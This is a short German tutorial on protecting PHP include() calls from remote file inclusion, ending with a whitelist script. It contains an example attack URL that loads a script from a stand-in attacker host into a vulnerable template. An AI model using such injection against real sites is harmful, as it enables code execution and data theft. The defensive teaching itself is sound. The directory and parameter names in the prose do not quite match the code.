Von Christian Fischer
Bei dynamischen Seiten, die auf Templates beruhen, werden anzuzeigende Inhalte häufig mit einem einfachen Include-Befehl übergeben. Möglichen Angreifern steht so manche Türe offen.
Wird auf der Startseite die anzuzeigende Datei etwa so aufgerufen:
http://seite.de/template.php?temp=1;c=inhalte.php
könnten Angreifer ihre eigenen Skripte bequem einladen, indem einfach eine andere Inhaltsdatei in das Template geladen wird:
http://seite.de/template.php?temp=1;
c=http://hackerserver.de/kill.php
Diese Inhalte könnten etwa Passwörter auslesen, das Dateilisting preisgeben oder alle Dateien löschen. Keine Möglichkeit ist im Sinne des Webmasters.
Um einen include()-Aufruf also abzusichern und sicherzustellen, dass weder fremde Dateien noch Scripte als Parameter von experimentierfreudigen Besuchern angehängt werden, helfen einige Code-Zeilen:
Als Voraussetzungen ist eine einheitliche Dateistruktur wichtig. So liegen ab jetzt alle Dateien, die eingebunden werden sollen, in dem Verzeichis /include und haben die Endung .inc.php – das Script läßt sich aber auch anpassen.
Zuerst wird ein Array angelegt, in dem alle Dateien dieses Verzeichnisses ohne Endung stehen – und schon haben wir ein Array, in dem alle erlaubten GET-Parameter stehen.
Beim eigentlichen include()-Befehl steht jetzt nur noch eine if-Abfrage, die das Array überprüft und alle anderen Anfragen auf die Startseite schickt. Alternativ kann man auch eine Fehlerseite einbinden, die zum Beispiel die IP-Adresse loggt und eine Benachrichtigung losschickt.
<?php
$inc_array = array();
$inc_dir=opendir ("./includes");
while ($inc = readdir ($inc_dir)) {
if($inc != "." && $inc != "..") {
$short_inc = str_replace(".inc.php", "", $inc);
array_push ($inc_array, $short_inc);
}
}
closedir($inc_dir);
if (isset($_GET[topic]) && in_array($_GET[topic],
$inc_array) ) {
include("./includes/".$_GET[topic].".inc.php");
} else {
include("./includes/start.inc.php");
}
?>
Wenn das Script einmal eingebunden ist, geht der Aufwand für neue Includes gegen Null: Die neuen Dateien werden einfach in das /include Verzeichnis gelegt und sind sofort automatisch als erlaubt gekennzeichnet.
Wie hilfreich war dieser Beitrag?
Klicke auf die Sterne um zu bewerten!
Durchschnittliche Bewertung 0 / 5. Anzahl Bewertungen: 0